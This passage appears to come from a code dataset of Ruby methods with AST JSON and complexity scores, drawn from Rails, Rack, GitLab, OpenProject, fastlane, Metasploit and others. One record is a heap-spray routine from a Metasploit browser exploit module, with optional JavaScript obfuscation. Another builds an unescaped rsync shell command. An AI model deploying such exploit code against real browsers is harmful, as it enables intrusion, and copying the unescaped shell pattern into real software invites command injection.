},\"to_i\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'du' exited with non-zero status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\": Output was \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Counting with 'du' failed with: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"'.\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Falling back to in-ruby counting.\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"2c0598fb-752e-441b-b255-581aec3155d9"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1865,"raw_source":"def test_form_for_field_name_with_blank_as_and_multiple\n form_for(Post.new, as: \"\") do |form|\n concat form.text_field(:title, name: form.field_name(:title, multiple: true))\n end\n\n expected = whole_form(\"/posts\", \"new_\", \"new_\") do\n %()\n end\n\n assert_dom_equal expected, @rendered\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_field_name_with_blank_as_and_multiple\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"form\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"field_name\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts\"]},{\"type\":\"str\",\"children\":[\"new_\"]},{\"type\":\"str\",\"children\":[\"new_\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"05e7c126-dae0-407e-b92d-c597d2771577"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/hashcat/formatter.rb","start_line":60,"raw_source":"def add_equals_to_base64(str)\n ['', '=', '=='].each do |equals|\n to_test = \"#{str}#{equals}\"\n Base64.strict_decode64(to_test)\n return to_test\n rescue ArgumentError\n next\n end\n nil\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_equals_to_base64\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"str\",\"children\":[\"==\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"equals\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to_test\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"equals\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_decode64\",{\"type\":\"lvar\",\"children\":[\"to_test\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_test\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"12d55e27-5609-4053-afcb-b4ea7b9e679f"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb","start_line":342,"raw_source":"def ie_heap_spray(my_target, p)\n # Land the payload at 0x0c0c0c0c\n case my_target\n when targets[7]\n # IE 9 on Windows 7\n js = ie9_spray(my_target, p)\n when targets[5], targets[6]\n # IE 8 on Windows 7 and Windows Vista\n js = ie8_spray(my_target, p)\n else\n js = ie6_spray(my_target, p)\n end\n\n js = heaplib(js, { :noobfu => true })\n\n if datastore['OBFUSCATE']\n js = ::Rex::Exploitation::JSObfu.new(js)\n js.obfuscate(memory_sensitive: true)\n @heap_spray_fn = js.sym(\"heap_spray\")\n else\n @heap_spray_fn = \"heap_spray\"\n end\n\n return js\n end","complexity_score":31.35,"ast_json":"{\"type\":\"def\",\"children\":[\"ie_heap_spray\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_target\"]},{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie9_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie8_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie6_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"heaplib\",{\"type\":\"lvar\",\"children\":[\"js\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noobfu\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Exploitation\"]},\"JSObfu\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]},\"obfuscate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_sensitive\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@heap_spray_fn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]},\"sym\",{\"type\":\"str\",\"children\":[\"heap_spray\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@heap_spray_fn\",{\"type\":\"str\",\"children\":[\"heap_spray\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]}]}]}","id":"15da3c7c-85da-46df-bc0d-9408d243c330"}
+{"repo_name":"rack","file_path":"./repos/rack/lib/rack/utils.rb","start_line":600,"raw_source":"def clean_path_info(path_info)\n parts = path_info.split PATH_SEPS\n\n clean = []\n\n parts.each do |part|\n next if part.empty? || part == '.'\n part == '..' ? clean.pop : clean << part\n end\n\n clean_path = clean.join(::File::SEPARATOR)\n clean_path.prepend(\"/\") if parts.empty? || parts.first.empty?\n clean_path\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_path_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_info\"]},\"split\",{\"type\":\"const\",\"children\":[null,\"PATH_SEPS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clean\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"==\",{\"type\":\"str\",\"children\":[\"..\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean\"]},\"pop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"SEPARATOR\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"first\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_path\"]},\"prepend\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"clean_path\"]}]}]}","id":"2d9e8546-f02d-4a65-a546-85f4140891e0"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/events_helper.rb","start_line":65,"raw_source":"def localized_action_name(event)\n action_name = event.action_name\n # The action fallback is used to cover the types were not included in the maps.\n localized_action_name_map[action_name.to_sym] || action_name\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"localized_action_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action_name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_action_name_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_name\"]},\"to_sym\"]}]},{\"type\":\"lvar\",\"children\":[\"action_name\"]}]}]}]}","id":"8f8fc6d2-4253-432f-8e18-40509020eb87"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/news/filters/news_filter.rb","start_line":34,"raw_source":"def human_name\n News.human_attribute_name(name)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"human_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"News\"]},\"human_attribute_name\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}","id":"be60d231-79e3-40aa-aa40-c4194babbf90"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/rsync.rb","start_line":8,"raw_source":"def self.run(params)\n rsync_cmd = [\"rsync\"]\n rsync_cmd << params[:extra]\n rsync_cmd << params[:source]\n rsync_cmd << params[:destination]\n Actions.sh(rsync_cmd.join(\" \"))\n end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rsync_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rsync\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extra\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"9acee83a-3119-43f5-aed2-c3d44e361311"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/module_argument_parsing.rb","start_line":177,"raw_source":"def resembles_rhost_value?(val)\n return false unless val\n\n ::Addressable::URI.parse(val)\n true\n rescue ::Addressable::URI::InvalidURIError => _e\n false\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resembles_rhost_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_e\"]},{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"25df14cb-0cdc-46f0-8558-8cdac0ab2c9b"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter.rb","start_line":11,"raw_source":"def tags\n Fiber[FIBER_KEY] || EMPTY_TAGS\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fiber\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"FIBER_KEY\"]}]},{\"type\":\"const\",\"children\":[null,\"EMPTY_TAGS\"]}]}]}","id":"02e09c81-bc0d-4654-b344-91bf15034648"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/sms/model/smtp.rb","start_line":48,"raw_source":"def initialize(opts={})\n self.address = opts[:address]\n self.port = opts[:port] || 25\n self.username = opts[:username]\n self.password = opts[:password]\n self.helo_domain = opts[:helo_domain] || 'localhost'\n self.login_type = opts[:login_type] || :login\n self.from = opts[:from] || ''\n end","complexity_score":19.67,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"address=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"port=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"password=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"helo_domain=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"helo_domain\"]}]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"login_type=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login_type\"]}]},{\"type\":\"sym\",\"children\":[\"login\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"4c6ea553-e073-4a10-8b46-27720ff78c05"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/work_packages_filter_helper.rb","start_line":136,"raw_source":"def project_report_property_closed_path(project, property, property_id, options = {})\n query = {\n f: [\n filter_object(\"status_id\", \"c\"),\n filter_object(\"subproject_id\", \"!*\"),\n filter_object(property, \"=\", property_id)\n ],\n t: default_sort\n }\n project_work_packages_with_query_path(project, query, options)\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_report_property_closed_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"property_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"f\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"str\",\"children\":[\"status_id\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"str\",\"children\":[\"subproject_id\"]},{\"type\":\"str\",\"children\":[\"!*\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"lvar\",\"children\":[\"property_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[null,\"default_sort\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"project_work_packages_with_query_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"8b25f28c-99e4-4af7-b07b-ca5f9ac70db4"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":150,"raw_source":"def discuss_and_ask_broadcast\n @discuss_and_ask_broadcast ||= find_discuss_ask_broadcast\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"discuss_and_ask_broadcast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@discuss_and_ask_broadcast\"]},{\"type\":\"send\",\"children\":[null,\"find_discuss_ask_broadcast\"]}]}]}","id":"f2e4057d-1cd2-4589-a04e-992a62d852be"}
+{"repo_name":"puma","file_path":"./repos/puma/lib/puma/minissl.rb","start_line":311,"raw_source":"def ca=(ca)\n check_file ca, 'ca'\n @ca = ca\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ca=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ca\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_file\",{\"type\":\"lvar\",\"children\":[\"ca\"]},{\"type\":\"str\",\"children\":[\"ca\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ca\",{\"type\":\"lvar\",\"children\":[\"ca\"]}]}]}]}","id":"4dd63f83-b0b6-4bed-9aaf-ea0fe4f85552"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/db/migrate/tables/gitlab_pipelines.rb","start_line":34,"raw_source":"def self.table(migration)\n create_table migration do |t|\n t.references :gitlab_merge_request, null: false\n\n t.bigint :gitlab_id, null: false\n t.string :gitlab_html_url, null: false\n t.bigint :project_id, null: false\n t.string :gitlab_user_avatar_url, null: false\n t.string :status, null: false\n t.string :name, null: false\n t.string :details_url\n t.json :ci_details\n t.datetime :started_at, precision: nil\n t.datetime :completed_at, precision: nil\n\n t.timestamps precision: nil\n t.text :username\n t.text :commit_id\n end\n end","complexity_score":18.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"gitlab_merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"gitlab_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"gitlab_html_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"gitlab_user_avatar_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"details_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"json\",{\"type\":\"sym\",\"children\":[\"ci_details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"completed_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"commit_id\"]}]}]}]}]}","id":"c6de9c4c-d7a6-49ff-a77b-2f5a24d5d91c"}
